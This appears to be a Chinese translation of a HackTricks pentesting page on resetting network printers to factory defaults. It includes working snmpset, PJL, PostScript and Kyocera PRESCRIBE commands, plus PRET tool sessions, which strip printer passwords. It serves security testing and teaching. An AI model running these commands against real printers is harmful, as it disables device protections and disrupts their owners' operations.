6.1 KiB
零基础学习 AWS 黑客技术直至成为专家 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上 关注 我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
将设备重置为出厂默认设置是一项安全关键功能,因为它会覆盖保护机制,如用户设置的密码。这通常可以通过在打印机的控制面板上按下特殊键组合来完成。执行这样的冷重置只需几秒钟,因此对于本地攻击者或渗透测试人员来说是一个现实的场景,例如他们可以在午餐时间潜入复印室。然而,物理访问设备并非总是一个选项。
SNMP
打印机-MIB 定义了 prtGeneralReset 对象(OID 1.3.6.1.2.1.43.5.1.1.3.1),它允许攻击者使用 SNMP 重启设备(powerCycleReset(4))、重置 NVRAM 设置(resetToNVRAM(5))或恢复出厂默认设置(resetToFactoryDefaults(6))。这个功能/攻击被大量打印机支持,并移除了所有保护机制,如嵌入式网络服务器的用户设置密码。虽然可以有效绕过保护机制,但这种方法的实际缺点是所有静态 IP 地址配置将丢失。如果没有 DHCP 服务,攻击者在将设备重置为出厂默认设置后将无法再次连接到设备。
可以使用下面显示的 snmpset
命令将设备重置为出厂默认设置(您需要知道社区字符串,在大多数情况下默认是 public
):
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
PML/PJL
在许多情况下,攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而,在HP设备上,SNMP可以转换为其PML表示,并将请求嵌入到合法的打印作业中。这允许攻击者在普通打印作业中重新启动和/或重置设备至出厂默认设置,如下所示:
@PJL DMCMD ASCIIHEX="040006020501010301040106"
任何人都可以使用 PRET 重现对惠普打印机的攻击,通过重启或重置设备可以轻松复现:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
PostScript
PostScript 提供了一个类似的功能:FactoryDefaults 系统参数,‘一个标志,如果在打印机关闭前立即设置为 true,会导致所有非易失性参数在下次开机时恢复到它们的出厂默认值。’ 需要注意的是,PostScript 本身也有能力重启其环境,但它需要一个有效的密码。
然而,PostScript 解释器可以被置入一个无限循环,如在 文档处理 DoS 攻击中讨论的那样,这迫使用户手动重启设备,从而重置 PostScript 密码。
将 PostScript 系统参数重置为出厂默认值:
<< /FactoryDefaults true >> setsystemparams
重启PostScript解释器和虚拟内存:
true 0 startjob systemdict /quit get exec
任何人都可以重启或重置打印机的PostScript解释器,这可以通过使用PRET 轻松复现:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
PRESCRIBE
对于 Kyocera 设备,PRESCRIBE 页面 描述语言可以用来通过下面显示的命令之一,在普通打印作业中将设备重置为出厂默认设置:
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
要复现这种攻击,请打开一个到打印机9100/tcp端口的原始网络连接,并发送上文记录的命令。
从零开始学习AWS黑客攻击直到成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您希望在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。